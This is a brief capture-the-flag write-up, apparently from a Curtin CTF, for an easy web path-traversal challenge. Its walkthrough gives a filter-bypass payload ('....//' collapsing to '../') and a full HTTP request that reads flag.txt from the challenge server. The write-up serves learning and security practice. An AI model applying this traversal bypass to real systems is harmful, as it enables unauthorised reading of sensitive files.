1. Challenge Information

• Category: Web - Path traversal
• Difficulty: Easy

2. TL;DR Solution Summary

The book retrieval function is vulnerable to path traversal attack to retrive flag.txt at the root folder

3. Vulnerability Breakdown

• Path traversal can be exploited by using combinations of ../ to retrieve sensitive file

4. Exploitation

4.1 Method / Tools Used

• Burpsuite

4.2 Walkthrough

• Since ../ sequence is removed by the server, inject ….// so that it will be filtered out into ../

  GET /library/?book=....//flag.txt HTTP/1.1
  Host: curtinctfmy-adventures-of-harald1.chals.io
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:146.0) Gecko/20100101 Firefox/146.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate, br
  Upgrade-Insecure-Requests: 1
  Sec-Fetch-Dest: document
  Sec-Fetch-Mode: navigate
  Sec-Fetch-Site: none
  Sec-Fetch-User: ?1
  X-Pwnfox-Color: cyan
  Priority: u=0, i
  Te: trailers
  Connection: keep-alive